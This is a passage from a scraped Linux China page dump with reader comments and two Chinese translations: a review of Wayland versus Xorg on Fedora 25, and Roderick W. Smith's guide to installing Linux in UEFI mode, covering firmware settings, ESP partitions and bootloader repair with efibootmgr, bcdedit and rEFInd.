"date": "2017-08-16T17:42:48"
},
{
"postip": "221.231.172.97",
"message": "软件开发人员都看不懂了怎么给你写？用户体验基于良好的代码架构，这作者水平太低，还是干IT的，真丢脸。Xorg是个烂摊子了，没有人愿意维护，看都看不懂，代码一团糟",
"username": "来自江苏南京的 Chrome 86.0|Windows 7 用户",
"date": "2020-10-30T17:26:32"
},
{
"postip": "221.231.172.97",
"message": "支持Wayland",
"username": "来自江苏南京的 Firefox 87.0|Windows 10 用户",
"date": "2020-10-30T17:32:04"
}
] |
[] |
大体上说，Wayland 还可以，并不差。性能可能不太是一个问题了，因为你可以放弃 1-2% 的变化；但是无法启动应用是个大问题。
| 2017-05-05T12:42:46 | 2017-05-05T12:42:46 | 8,480 |
/article-8480-1.html
|
就像异形大战铁血战士的结果一样，后者略胜一筹。不管怎样，你可能知道，我最近测试了 [Fedora 25](http://www.dedoimedo.com/computers/fedora-25-gnome.html)，体验还可以。总的来说，这个发行版表现的相当不错。它不是最快速的，但随着一系列的改进，变得足够稳定也足够好用。最重要的是，除了一些性能以及响应性的损失，Wayland 并没有造成我的系统瘫痪。但这还仅仅是个开始。
Wayland 作为一种消费者技术还处在它的襁褓期，或者至少是当人们在处理桌面事物时应就这么认为。因此，我必须继续测试，绝不弃坑。在过去的积极地使用 Fedora 25 的几个星期里，我确实碰到了几个其它的问题，有些不用太担心，有些确实很恼人，有些很奇怪，有些却无意义。让我们来讲述一下吧！
### Wayland 并不支持所有软件
没错，这是一个事实。如果你去网站上阅读相关的信息，你会发现各种各样的软件都还没为 Wayland 做好准备。当然，我们都知道 Fedora 是一个激进的高端发行版，它是为了探索新功能而出现的测试床。这没毛病。有一段时间，所有东西都很正常，没有瞎忙活，没有错误。但接下来，我突然需要使用 GParted。我当时很着急，正在排除一个大故障，然而我却让自己置身于一些无意义的额外工作。 GParted 没办法在 Wayland 下直接启动。在探索了更多一些细节之后，我知道了该分区软件目前还没有被 Wayland 支持。
问题就在于我并不太清楚其它哪些应用不能在 Wayland 下运行，并且我不能在一个正确估计的时间敏锐地发现这一点。通过在线搜索，我还是不能快速找到一个简要的当前不兼容列表。可能只是我在搜索方面不太在行，但显而易见这些东西是和“Wayland + 兼容性” 这样的问题一样零零散散的。
我找到了一个[自诩](https://wayland.freedesktop.org/faq.html) Wayland 很棒的文章、一个目前已被这个新玩意儿支持的 [Gnome](https://wiki.gnome.org/Initiatives/Wayland/Applications) 应用程序列表、一些 ArchWiki 上难懂的资料，一篇在[英伟达](https://devtalk.nvidia.com/default/topic/925605/linux/nvidia-364-12-release-vulkan-glvnd-drm-kms-and-eglstreams/)开发论坛上的晦涩得让我后悔点进去的主题，以及一些其他含糊的讨论。
### 再次提到性能
在 Fedora 25 上，我把登录会话从 Gnome（Wayland）切换到 Gnome Xorg，观察会对系统产生什么影响。我之前已经提到过在同一个笔记本（[联想 G50](http://www.dedoimedo.com/computers/lenovo-g50-distros-second-round.html)）上的性能跑分和与 [Fedora 24](http://www.dedoimedo.com/computers/fedora-24-gnome.html) 的比较，但这次会给我们提供更加准确的结果。
Wayland（截图 1）空闲时的内存占用为 1.4GB， CPU 的平均负载约为 4-5%。Xorg（截图 2）占用了同样大小的内存，处理器消耗了全部性能的 3-4%，单纯从数字上来看少了一小点。但是 Xorg 会话的体验却好得多。虽然只是毫秒级的差距，但你能感受得到。传统的会话方式看起来更加的灵动、快速、清新一点。但 Wayland 落后得并不明显。如果你对你的电脑响应速度很敏感，你可能会对这点延迟不会太满意。当然，这也许只是作为新手缺乏优化的缘故，Wayland 会随时间进步。但这一点也是我们所不能忽视的。
### 批评
我对此并不高兴。虽然并不是很愤怒，但我不喜欢为了能完全享受我的桌面体验，我却需要登录到传统的 X 会话。因为 X 给了我全部，但 Wayland 则没有。这意味着我不能一天都用着 Wayland。我喜欢探索科技，但我不是一个盲目的狂热追随者。我只是想用我的桌面，有时我可能需要它快速响应。注销然后重新登录在急需使用的时候会成为恼人的麻烦。我们遇到这个问题的原因就是 Wayland 没有让 Linux 桌面用户的生活变得更简单，而恰恰相反。
引用：
>
> Wayland 是为了成为 X 的更加简单的替代品，更加容易开发和维护。建议 GNOME 和 KDE 都使用它。
>
>
>
你能看到，这就是问题的一方面原因。东西不应该被设计成容易开发或维护。它可以是满足了所有其它消费需求之后提供的有益副产品。但如果没有，那么不管它对于程序员敲代码来说多么困难或简单都将不重要。那是他们的工作。科技的所有目的都是为了达到一种无缝并且流畅的用户体验。
不幸的是，现在很大数量的产品都被重新设计或者开发，只是为了使软件人员更加轻松，而不是用户。在很大程度上，Gnome 3、PulseAudio、[Systemd](http://www.ocsmag.com/2016/10/19/systemd-progress-through-complexity/) 和 Wayland 都没有遵循提高用户体验的宗旨。在这个意义上来说，它们更像是一种打扰，而没有为 Linux 桌面生态的稳定性和易用性作出贡献。
这也是为什么 Linux 桌面是一个相对不成熟产品的一个主要原因————它被设计成开发人员的自我支持产品，更像一个活生生的生物，而不是依附于用户各种怪念头和想法的奴隶。这也是伟大事物是如何形成的，你满足于主要需求，接下来只是担心细节方面。优秀的用户体验不依赖于（也永远不依赖于）编程语言、编译器的选择，或任何其他无意义的东西。如果依赖了，那么不管谁来设计这个抽象层做的不够好的产品，我们都会得到一个失败的作品，需要把它的存在抹去。
那么在我的展望中，我不在乎是否要吐血十升去编译一个 Xorg 或其它什么的版本。我是一个用户，我所在乎的只是我的桌面能否像它昨天或者 5 年前一样健壮地工作。没事的情况下，我不会对宏、类、变量、声明、结构体，或其他任何极客的计算机科技感兴趣。那是不着边际的。一个产品宣传自己是被创造出来为人们的开发提供方便的，那是个悖论。如果接下来再也不用去开发它了，这样反而会使事情更简单。
现在，事实是 Wayland 大体上可用，但它仍然不像 Xorg 那么好，并且它也不应该在任何的桌面上作为就绪的产品被提供。一但它能够无人知晓般无缝地取代那些过时技术，只有在那种时候，它才获得了它所需要的成功，那之后，它可以用 C、D 或者 K 之类的无论什么语言编写，拥有开发者需要的任何东西。而在那之前，它都是一个蚕食资源和人们思想的寄生虫而已。
不要误会，我们需要进步，需要改变。但它必须为了进化的目而服务。现在 Xorg 能很好地满足用户需求了吗？它能为第三方库提供图形支持吗？它能支持 HD、UHD、DPI 或其他的什么吗？你能用它玩最新的游戏吗？行还是不行？如果不行，那么它就需要被改进。这些就是进化的驱动力，而不是写代码或者编译代码的困难程度。软件开发者是数字工业的矿工，他们需要努力工作而取悦于用户。就像短语“更加易于开发”应该被取缔一样，那些崇尚于此的人也应该用老式收音机的电池处以电刑，然后用没有空调的飞船流放到火星上去。如果你不能写出高明的代码，那是你的问题。用户不能因为开发者认为自己是公主而遭受折磨。
### 结语
说到这里。大体上说，Wayland 还可以，并不差。但这说的就像是某人决定修改你工资单上分配比例，导致你从昨天能赚 100% 到今天只能赚 83% 一样。讲道理这是不能接受的，即使 Wayland 工作的相当好。正是那些不能运作的东西导致如此大的不同。忽略所有批评它的一面，Wayland 被认为降低了可用性、性能以及软件的知名度，这正是 Fedora 亟待解决的问题。
其他的发行版会跟进，然后我们会看到历史重演，就像 Gnome 3 和 Systemd 所发生的一样。没有完全准备好的东西被放到开放环境中，然后我们花费一两年时间修复那些本无需修复的东西，最终我们将拥有的是我们已经拥有的相同功能，只是用不同的编程语言来实现。我并不感兴趣这些。计算机科学曾在 1999 年非常受欢迎，当时 Excel 用户每小时能赚 50 美元。而现在，编程就像是躲在平底船下划桨，人们并不会在乎你在甲板下流下的汗水与磨出的水泡。
性能可能不太是一个问题了，因为你可以放弃 1-2% 的变化，尤其是它会受随机的来自任何一个因素的影响，如果你已经用 Linux 超过一、两年你就会知道的。但是无法启动应用是个大问题。不过至少， Fedora 也友好地提供了传统的平台。但是，它可能会在 Wayland 100% 成熟前就消失了。我们再来看看，不，不会有灾难。我原本的 Fedora 25 宣称支持这种看法。我们有的就是烦恼，不必要的烦恼。啊，这是 Linux 故事中的第 9000 集。
那么，在今天结束之际，我们已经讨论了所有事情。从中我们学到：**臣伏于 Xorg！天呐！**真棒，现在我将淡入背景音乐，而笑声会将你的欢乐带给寒冷的夜晚。再见！
干杯。
（题图来自 [Wikimedia](https://commons.wikimedia.org/wiki/File:DragonCon-AlienVsPredator.jpg) 并做了些修改， [CC BY-SA 3.0](https://creativecommons.org/licenses/by-sa/3.0/deed.en) 许可）
---
作者简介：
我是 Igor Ljubuncic。现在大约 38 岁，已婚但还没有孩子。我现在在一个大胆创新的云科技公司做首席工程师。直到大约 2015 年初，我还在一个全世界最大的 IT 公司之一中做系统架构工程师，和一个工程计算团队开发新的基于 Linux 的解决方案，优化内核以及攻克 Linux 的问题。在那之前，我是一个为高性能计算环境设计创新解决方案的团队的技术领导。还有一些其他花哨的头衔，包括系统专家、系统程序员等等。所有这些都曾是我的爱好，但从 2008 年开始成为了我的有偿的工作。还有什么比这更令人满意的呢？
从 2004 年到 2008 年间，我曾通过作为医学影像行业的物理学家来糊口。我的工作专长集中在解决问题和算法开发。为此，我广泛地使用了 Matlab，主要用于信号和图像处理。另外，我得到了几个主要的工程方法学的认证，包括 MEDIC 六西格玛绿带、试验设计以及统计工程学。
我也写过书，包括高度魔幻类和 Linux 上的技术工作方面的，彼此交织。
---
via: <http://www.dedoimedo.com/computers/fedora-25-wayland-vs-xorg.html>
作者：[Igor Ljubuncic](http://www.dedoimedo.com/faq.html) 译者：[cycoe](https://github.com/cycoe) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
详解 UEFI 模式下安装 Linux
|
Roderick W. Smith
|
http://www.rodsbooks.com/linux-uefi/
|
本页面是给 Linux 用户使用 EFI 技术的一个快速介绍，其中包括有关开始将 Linux 安装到此类计算机上的建议。不幸的是，EFI 是一个庞杂的话题；EFI 软件本身是复杂的，许多实现有系统特定的怪异行为甚至是缺陷。
|
/data/attachment/album/201705/05/232225rsydrjnujbcsdmdn.jpg.thumb.jpg
|
/data/attachment/album/201705/05/232225rsydrjnujbcsdmdn.jpg
| true | false | true |
fuowang
| true |
[
"UEFI",
"BIOS",
"GRUB"
] |
技术
|
{
"viewnum": 63126,
"commentnum": 4,
"favtimes": 7,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "111.20.112.126",
"message": "Gnu项目组就是应该搞个类似与Gnu/BOIS的玩意。或者直接像树梅派，Gnu/Linux就可以搞定一切啦。UEFI和DRM确实很恶心！！！有点反人类！！！",
"username": "来自陕西西安的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-08T18:34:44"
},
{
"postip": "171.82.183.10",
"message": "怎么一堆废话。",
"username": "来自湖北武汉的 Chrome Mobile 58.0|Android 7.1 用户",
"date": "2017-05-10T11:25:39"
},
{
"postip": "223.167.127.244",
"message": "神舟T65有个很操蛋的问题,就是大部分Linux发行版无法正常走到live界面,都会卡在启动X环境的位置,也尝试过禁用开源的N卡驱动,问题依旧",
"username": "来自上海的 Chrome 74.0|Windows 10 用户",
"date": "2019-03-24T21:22:29"
},
{
"postip": "60.169.223.110",
"message": "xxxxx",
"username": "来自安徽芜湖的 Chrome 77.0|Windows 10 用户",
"date": "2019-12-30T15:50:32"
}
] |
[] |
本页面是给 Linux 用户使用 EFI 技术的一个快速介绍，其中包括有关开始将 Linux 安装到此类计算机上的建议。不幸的是，EFI 是一个庞杂的话题；EFI 软件本身是复杂的，许多实现有系统特定的怪异行为甚至是缺陷。
| 2017-05-06T08:05:00 | 2017-05-06T08:05:00 | 8,481 |
/article-8481-1.html
|
>
> 此页面是免费浏览的，没有烦人的外部广告；然而，我的确花了时间准备，网站托管也花了钱。如果您发现此页面帮到了您，请考虑进行小额[捐款](http://www.rodsbooks.com/linux-uefi/)，以帮助保持网站的运行。谢谢！ 原著于 2013/10/19；最后修改于 2015/3/16
>
>
>
### 引言
几年来，一种新的固件技术悄然出现，而大多数普通用户对此并无所知。该技术被称为<ruby> <a href="https://en.wikipedia.org/wiki/Uefi"> 可扩展固件接口 </a> <rp> （ </rp> <rt> Extensible Firmware Interface </rt> <rp> ） </rp></ruby>（EFI）， 或更新一些的统一可扩展固件接口（Unified EFI，UEFI，本质上是 EFI 2.x），它已经开始替代古老的<ruby> <a href="https://en.wikipedia.org/wiki/BIOS"> 基本输入/输出系统 </a> <rp> （ </rp> <rt> Basic Input/Output System </rt> <rp> ） </rp></ruby>（BIOS）固件技术，有经验的计算机用户或多或少都有些熟悉 BIOS。
本页面是给 Linux 用户使用 EFI 技术的一个快速介绍，其中包括有关开始将 Linux 安装到此类计算机上的建议。不幸的是，EFI 是一个庞杂的话题；EFI 软件本身是复杂的，许多实现有系统特定的怪异行为甚至是缺陷。因此，我无法在一个页面上描述在 EFI 计算机上安装和使用 Linux 的一切知识。我希望你能将本页面作为一个有用的起点，不管怎么说，每个部分以及末尾“参考文献”部分的链接可以指引你找到更多的文档。
### 你的计算机是否使用 EFI 技术？
EFI 是一种*固件*，意味着它是内置于计算机中处理低级任务的软件。最重要的是，固件控制着计算机的引导过程，反过来说这代表着基于 EFI 的计算机与基于 BIOS 的计算机的引导过程不同。（有关此规律的例外之处稍后再说。）这种差异可能使操作系统安装介质的设计超级复杂化，但是一旦安装好并运行之后，它对计算机的日常操作几乎没有影响。请注意，大多数制造商使用术语 “BIOS” 来表示他们的 EFI。我认为这种用法很混乱，所以我避免了；在我看来，EFI 和 BIOS 是两种不同类型的固件。
>
> **注意：**苹果公司的 Mac 使用的 EFI 在许多方面是不同寻常的。尽管本页面的大部分内容同样适用于 Mac，但有些细节上的出入，特别是在设置 EFI 引导加载程序的时候。这个任务最好在 OS X 上进行，使用 Mac 的 [bless utility](http://ss64.com/osx/bless.html)工具，我不在此做过多描述。
>
>
>
自从 2006 年第一次推出以来，EFI 已被用于基于英特尔的 Mac 上。从 2012 年底开始，大多数安装 Windows 8 或更高版本系统的计算机就已经默认使用 UEFI 启动，实际上大多数 PC 从 2011 年中期就开始使用 UEFI，虽然默认情况下它们可能无法以 EFI 模式启动。2011 年前销出的 PC 也有一些支持 EFI，尽管它们大都默认使用 BIOS 模式启动。
如果你不确定你的计算机是否支持 EFI，则应查看固件设置实用程序和参考用户手册关于 *EFI*、*UEFI* 以及 *legacy booting* 的部分。（可以通过搜索用户手册的 PDF 文件来快速了解。）如果你没有找到类似的参考，你的计算机可能使用老式的（“legacy”） BIOS 引导；但如果你找到了这些术语的参考，几乎可以肯定它使用了 EFI 技术。你还可以尝试*只*有 EFI 模式的引导加载器的安装介质。使用 [rEFInd](http://www.rodsbooks.com/refind/getting.html) 制作的 USB 闪存驱动器或 CD-R 镜像是用来测试不错的选择。
在继续之前，你应当了解大多数 x86 和 x86-64 架构的计算机上的 EFI 都包含一个叫做<ruby> 兼容支持模块 <rt> Compatibility Support Module </rt></ruby>（CSM）的组件，这使得 EFI 能够使用旧的 BIOS 风格的引导机制来引导操作系统。这会非常方便，因为它向后兼容；但是这样也导致一些意外情况的发生，因为计算机不论以 EFI 模式引导还是以 BIOS （也称为 CSM 或 legacy）模式引导，在控制时没有标准的使用规范和用户界面。特别地，你的 Linux 安装介质非常容易意外的以 BIOS/CSM/legacy 模式启动，这会导致 Linux 以 BIOS/CSM/legacy 模式安装。如果 Linux 是唯一的操作系统，也可以正常工作，但是如果与在 EFI 模式下的 Windows 组成双启动的话，就会非常复杂。（反过来问题也可能发生。）以下部分将帮助你以正确模式引导安装程序。如果你在阅读这篇文章之前就已经以 BIOS 模式安装了 Linux，并且希望切换引导模式，请阅读后续章节，“哎呀：将传统模式下安装的引导转为 EFI 模式下的引导”。
UEFI 的一个附加功能值得一提：<ruby> 安全启动 <rt> Secure Boot </rt></ruby>。此特性旨在最大限度的降低计算机受到 *boot kit* 病毒感染的风险，这是一种感染计算机引导加载程序的恶意软件。Boot kits 很难检测和删除，阻止它们的运行刻不容缓。微软公司要求所有带有支持 Windows 8 标志的台式机和笔记本电脑启用 安全启动。这一配置使 Linux 的安装变得复杂，尽管有些发行版可以较好的处理这个问题。不要将安全启动和 EFI 或 UEFI 混淆；支持 EFI 的计算机不一定支持 安全启动，而且支持 EFI 的 x86-64 的计算机也可以禁用 安全启动。微软同意用户在 Windows 8 认证的 x86 和 x86-64 计算机上禁用安全启动功能；然而对装有 Windows 8 的 ARM 计算机而言却相反，它们必须**不允许**用户禁用 安全启动。幸运的是，基于 ARM 的 Windows 8 计算机目前很少见。我建议避免使用它们。
### 你的发行版是否支持 EFI 技术？
大多数 Linux 发行版已经支持 EFI 好多年了。然而，不同的发行版对 EFI 的支持程度不同。大多数主流发行版（Fedora，OpenSUSE，Ubuntu 等）都能很好的支持 EFI，包括对安全启动的支持。另外一些“自行打造”的发行版，比如 Gentoo，对 EFI 的支持较弱，但它们的性质使其很容易添加 EFI 支持。事实上，可以向*任意* Linux 发行版添加 EFI 支持：你需要安装 Linux（即使在 BIOS 模式下），然后在计算机上安装 EFI 引导加载程序。有关如何执行此操作的信息，请参阅“哎呀：将传统模式下安装的引导转为 EFI 模式下的引导”部分。
你应当查看发行版的功能列表，来确定它是否支持 EFI。你还应当注意你的发行版对安全启动的支持情况，特别是如果你打算和 Windows 8 组成双启动。请注意，即使正式支持安全启动的发行版也可能要求禁用此功能，因为 Linux 对安全启动的支持通常很差劲，或者导致意外情况的发生。
### 准备安装 Linux
下面几个准备步骤有助于在 EFI 计算机上 Linux 的安装，使其更加顺利：
#### 1、 升级固件
有些 EFI 是有问题的，不过硬件制造商偶尔会发布其固件的更新。因此我建议你将固件升级到最新可用的版本。如果你从论坛的帖子知道自己计算机的 EFI 有问题，你应当在安装 Linux 之前更新它，因为如果安装 Linux 之后更新固件，会有些问题需要额外的操作才能解决。另一方面，升级固件是有一定风险的，所以如果制造商提供了 EFI 支持，最好的办法就是按它们提供的方式进行升级。
#### 2、 了解如何使用固件
通常你可以通过在引导过程之初按 Del 键或功能键进入固件设置实用程序。按下开机键后尽快查看相关的提示信息，或者尝试每个功能键。类似的，ESC 键或功能键通常可以进入固件的内置引导管理器，可以选择要进入的操作系统或外部设备。一些制造商把这些设置隐藏的很深。在某些情况下，如[此页面](http://www.eightforums.com/tutorials/20256-uefi-firmware-settings-boot-inside-windows-8-a.html)所述，你可以在 Windows 8 内做到这些。
#### 3、调整以下固件设置
* **快速启动** — 此功能可以通过在硬件初始化时使用快捷方式来加快引导过程。这很好用，但有时候会使 USB 设备不能初始化，导致计算机无法从 USB 闪存驱动器或类似的设备启动。因此禁用快速启动*可能*有一定的帮助，甚至是必须的；你可以让它保持激活，而只在 Linux 安装程序启动遇到问题时将其停用。请注意，此功能有时可能会以其它名字出现。在某些情况下，你必须*启用* USB 支持，而不是*禁用*快速启动功能。
* **安全启动** — Fedora，OpenSUSE，Ubuntu 以及其它的发行版官方就支持安全启动；但是如果在启动引导加载程序或内核时遇到问题，可能需要禁用此功能。不幸的是，没办法具体描述怎么禁用，因为不同计算机的设置方法也不同。请参阅[我的安全启动页面](http://www.rodsbooks.com/efi-bootloaders/secureboot.html#disable)获取更多关于此话题的信息。
>
> **注意：** 一些教程说安装 Linux 时需要启用 BIOS/CSM/legacy 支持。通常情况下，这样做是错的。启用这些支持可以解决启动安装程序涉及的问题，但也会带来新的问题。以这种方式安装的教程通常可以通过“引导修复”来解决这些问题，但最好从一开始就做对。本页面提供了帮助你以 EFI 模式启动 Linux 安装程序的提示，从而避免以后的问题。
>
>
>
* **CSM/legacy 选项** — 如果你想以 EFI 模式安装，请*关闭*这些选项。一些教程推荐启用这些选项，有时这是必须的 —— 比如，有些附加视频卡需要在固件中启用 BIOS 模式。尽管如此，大多数情况下启用 CSM/legacy 支持只会无意中增加以 BIOS 模式启动 Linux 的风险，但你并*不想*这样。请注意，安全启动和 CSM/legacy 选项有时会交织在一起，因此更改任一选项之后务必检查另一个。
#### 4、 禁用 Windows 的快速启动功能
[这个页面](http://www.eightforums.com/tutorials/6320-fast-startup-turn-off-windows-8-a.html)描述了如何禁用此功能，不禁用的话会导致文件系统损坏。请注意此功能与固件的快速启动不同。
#### 5、 检查分区表
使用 [GPT fdisk](http://www.rodsbooks.com/gdisk/)、parted 或其它任意分区工具检查磁盘分区。理想情况下，你应该创建一个包含每个分区确切起点和终点（以扇区为单位）的纸面记录。这会是很有用的参考，特别是在安装时进行手动分区的时候。如果已经安装了 Windows，确定可以识别你的 [EFI 系统分区（ESP）](http://en.wikipedia.org/wiki/EFI_System_partition)，它是一个 FAT 分区，设置了“启动标记”（在 parted 或 Gparted 中）或在 gdisk 中的类型码为 EF00。
### 安装 Linux
大部分 Linux 发行版都提供了足够的安装说明；然而我注意到了在 EFI 模式安装中的几个常见的绊脚石：
* **确保使用正确位深的发行版** — EFI 启动加载器和 EFI 自身的位深相同。现代计算机通常是 64 位，尽管最初几代基于 Intel 的 Mac、一些现代的平板电脑和变形本、以及一些鲜为人知的电脑使用 32 位 EFI。虽然可以将 32 位 EFI 引导加载程序添加至 32 位发行版，但我还没有遇到过正式支持 32 位 EFI 的 Linux 发行版。（我的 《[在 Linux 上管理 EFI 引导加载程序](http://www.rodsbooks.com/efi-bootloaders)》 一文概述了引导加载程序，而且理解了这些原则你就可以修改 32 位发行版的安装程序，尽管这不是一个初学者该做的。）在 64 位 EFI 的计算机上安装 32 位发行版最让人头疼，我不准备在这里描述这一过程；在具有 64 位 EFI 的计算机上，你应当使用 64 位的发行版。
* **正确准备引导介质** — 将 .iso 镜像传输到 USB 闪存驱动器的第三方工具，比如 unetbootin，在创建正确的 EFI 模式引导项时经常失败。我建议按照发行版维护者的建议来创建 USB 闪存驱动器。如果没有类似的建议，使用 Linux 的 dd 工具，通过执行 `dd if=image.iso of=/dev/sdc` 在识别为 `/dev/sdc` 的 USB 闪存驱动器上创建一个镜像。至于 Windows，有 [WinDD](https://sourceforge.net/projects/windd/) 和 [dd for windows](http://www.chrysocome.net/dd)，但我从没测试过它们。请注意，使用不兼容 EFI 的工具创建安装介质是错误的，这会导致人们进入在 BIOS 模式下安装然后再纠正它们的误区，所以不要忽视这一点！
* **备份 ESP 分区** — 如果计算机已经存在 Windows 或者其它的操作系统，我建议在安装 Linux 之前备份你的 ESP 分区。尽管 Linux *不应该* 损坏 ESP 分区已有的文件，但似乎这时不时发生。发生这种事情时备份会有很大用处。只需简单的文件级的备份（使用 cp，tar，或者 zip 类似的工具）就足够了。
* **以 EFI 模式启动** — 以 BIOS/CSM/legacy 模式引导 Linux 安装程序的意外非常容易发生，特别是当固件启用 CSM/legacy 选项时。下面一些提示可以帮助你避免此问题：
+ 进入 Linux shell 环境执行 `ls /sys/firmware/efi` 验证当前是否处于 EFI 引导模式。如果你看到一系列文件和目录，表明你已经以 EFI 模式启动，而且可以忽略以下多余的提示；如果没有，表明你是以 BIOS 模式启动的，应当重新检查你的设置。
+ 使用固件内置的引导管理器（你应该已经知道在哪；请参阅“了解如何使用固件”）使之以 EFI 模式启动。一般你会看到 CD-R 或 USB 闪存驱动器两个选项，其中一个选项包括 *EFI* 或 *UEFI* 字样的描述，另一个不包括。使用 EFI/UEFI 选项来启动介质。
+ 禁用安全启动 - 即使你使用的发行版官方支持安全启动，有时它们也不能生效。在这种情况下，计算机会静默的转到下一个引导加载程序，它可能是启动介质的 BIOS 模式的引导加载程序，导致你以 BIOS 模式启动。请参阅我的[安全启动的相关文章](http://www.rodsbooks.com/efi-bootloaders/secureboot.html#disable)以得到禁用安全启动的相关提示。
+ 如果 Linux 安装程序总是无法以 EFI 模式启动，试试用我的 [rEFInd 引导管理器](http://www.rodsbooks.com/refind/getting.html) 制作的 USB 闪存驱动器或 CD-R。如果 rEFInd 启动成功，那它保证是以 EFI 模式运行的，而且在基于 UEFI 的 PC 上，它只显示 EFI 模式的引导项，因此若您启动到 Linux 安装程序，则应处于 EFI 模式。（但是在 Mac 上，除了 EFI 模式选项之外，rEFInd 还显示 BIOS 模式的引导项。）
* **准备 ESP 分区** — 除了 Mac，EFI 使用 ESP 分区来保存引导加载程序。如果你的计算机已经预装了 Windows，那么 ESP 分区就已存在，可以在 Linux 上直接使用。如果不是这样，那么我建议创建一个大小为 550 MB 的 ESP 分区。（如果你已有的 ESP 分区比这小，别担心，直接用就行。）在此分区上创建一个 FAT32 文件系统。如果你使用 Gparted 或者 parted 准备 ESP 分区，记得给它一个“启动标记”。如果你使用 GPT fdisk（gdisk，cgdisk 或 sgdisk）准备 ESP 分区，记得给它一个名为 EF00 的类型码。有些安装程序会创建一个较小的 ESP 分区，并且设置为 FAT16 文件系统。尽管这样能正常工作，但如果你之后需要重装 Windows，安装程序会无法识别 FAT16 文件系统的 ESP 分区，所以你需要将其备份后转为 FAT32 文件系统。
* **使用 ESP 分区** — 不同发行版的安装程序以不同的方式辨识 ESP 分区。比如，Debian 和 Ubuntu 的某些版本把 ESP 分区称为“EFI boot partition”，而且不会明确显示它的挂载点（尽管它会在后台挂载）；但是有些发行版，像 Arch 或 Gentoo，需要你去手动挂载。尽管将 ESP 分区挂载到 /boot 进行相应配置后可以正常工作，特别是当你想使用 gummiboot 或 ELILO（译者注：gummiboot 和 ELILO 都是 EFI 引导工具）时，但是在 Linux 中最标准的 ESP 分区挂载点是 /boot/efi。某些发行版的 /boot 不能用 FAT 分区。因此，当你设置 ESP 分区挂载点时，请将其设置为 /boot/efi。除非 ESP 分区没有，否则*不要*为其新建文件系统 — 如果已经安装 Windows 或其它操作系统，它们的引导文件都在 ESP 分区里，新建文件系统会销毁这些文件。
* **设置引导程序的位置** — 某些发行版会询问将引导程序（GRUB）装到何处。如果 ESP 分区按上述内容正确标记，不必理会此问题，但有些发行版仍会询问。请尝试使用 ESP 分区。
* **其它分区** — 除了 ESP 分区，不再需要其它的特殊分区；你可以设置 根（/）分区，swap 分区，/home 分区，或者其它分区，就像你在 BIOS 模式下安装时一样。请注意 EFI 模式下*不需要设置*[BIOS 启动分区](https://en.wikipedia.org/wiki/BIOS_Boot_partition)，所以如果安装程序提示你需要它，意味着你可能意外的进入了 BIOS 模式。另一方面，如果你创建了 BIOS 启动分区，会更灵活，因为你可以安装 BIOS 模式下的 GRUB，然后以任意模式（EFI 模式 或 BIOS 模式）引导。
* **解决无显示问题** — 2013 年，许多人在 EFI 模式下经常遇到（之后出现的频率逐渐降低）无显示的问题。有时可以在命令行下通过给内核添加 `nomodeset` 参数解决这一问题。在 GRUB 界面按 `e` 键会打开一个简易文本编辑器。大多数情况下你需要搜索有关此问题的更多信息，因为此问题更多是由特定硬件引起的。
在某些情况下，你可能不得不以 BIOS 模式安装 Linux。但你可以手动安装 EFI 引导程序让 Linux 以 EFI 模式启动。请参阅《 [在 Linux 上管理 EFI 引导加载程序](http://www.rodsbooks.com/efi-bootloaders/)》 页面获取更多有关它们以及如何安装的可用信息。
### 解决安装后的问题
如果 Linux 无法在 EFI 模式下工作，但在 BIOS 模式下成功了，那么你可以完全放弃 EFI 模式。在只有 Linux 的计算机上这非常简单；安装 BIOS 引导程序即可（如果你是在 BIOS 模式下安装的，引导程序也应随之装好）。如果是和 EFI 下的 Windows 组成双系统，最简单的方法是安装我的 [rEFInd 引导管理器](http://www.rodsbooks.com/refind/)。在 Windows 上安装它，然后编辑 `refind.conf` 文件：取消注释 `scanfor` 一行，并确保拥有 `hdbios` 选项。这样 rEFInd 在引导时会重定向到 BIOS 模式的引导项。
如果重启后计算机直接进入了 Windows，很可能是 Linux 的引导程序或管理器安装不正确。（但是应当首先尝试禁用安全启动；之前提到过，它经常引发各种问题。）下面是关于此问题的几种可能的解决方案：
* **使用 efibootmgr** — 你可以以 *EFI 模式*引导一个 Linux 急救盘，使用 efibootmgr 实用工具尝试重新注册你的 Linux 引导程序，如[这里](http://www.rodsbooks.com/efi-bootloaders/installation.html)所述。
* **使用 Windows 上的 bcdedit** — 在 Windows 管理员命令提示符窗口中，输入 `bcdedit /set {bootmgr}path \EFI\fedora\grubx64.efi` 会用 ESP 分区的 `EFI/fedora/grubx64.efi` 文件作为默认的引导加载程序。根据需要更改此路径，指向你想设置的引导文件。如果你启用了安全启动，需要设置 `shim.efi`，`shimx64.efi` 或者 `PreLoader.efi`（不管有哪个）为引导而不是 `grubx64.efi`。
* **安装 rEFInd** — 有时候 rEFInd 可以解决这个问题。我推荐使用 [CD-R 或者 USB 闪存驱动器](http://www.rodsbooks.com/refind/getting.html)进行测试。如果 Linux 可以启动，就安装 Debian 软件包、RPM 程序，或者 .zip 文件包。（请注意，你需要在一个高亮的 Linux vmlinuz\* 选项按两次 `F2` 或 `Insert` 修改启动选项。如果你的启动分区是单独的，这就更有必要了，因为这种情况下，rEFInd 无法找到根（/）分区，也就无法传递参数给内核。）
* **使用修复引导程序** — Ubuntu 的[引导修复实用工具](https://help.ubuntu.com/community/Boot-Repair)可以自动修复一些问题；然而，我建议只在 Ubuntu 和 密切相关的发行版上使用，比如 Mint。有时候，有必要通过高级选项备份并替换 Windows 的引导。
* **劫持 Windows 引导程序** — 有些不完整的 EFI 引导只能引导 Windows，就是 ESP 分区上的 `EFI/Microsoft/Boot/bootmgfw.efi` 文件。因此，你可能需要将引导程序改名（我建议将其移动到上级目录 `EFI/Microsoft/bootmgfw.efi`），然后将首选引导程序复制到这里。（大多数发行版会在 EFI 的子目录放置 GRUB 的副本，例如 Ubuntu 的 EFI/ubuntu，Fedora 的 EFI/fedora。）请注意此方法是个丑陋的解决方法，有用户反映 Windows 会替换引导程序，所以这个办法不是 100% 有效。然而，这是在不完整的 EFI 上生效的唯一办法。在尝试之前，我建议你升级固件并重新注册自己的引导程序，Linux 上用 efibootmgr，Windows 上用 bcdedit。
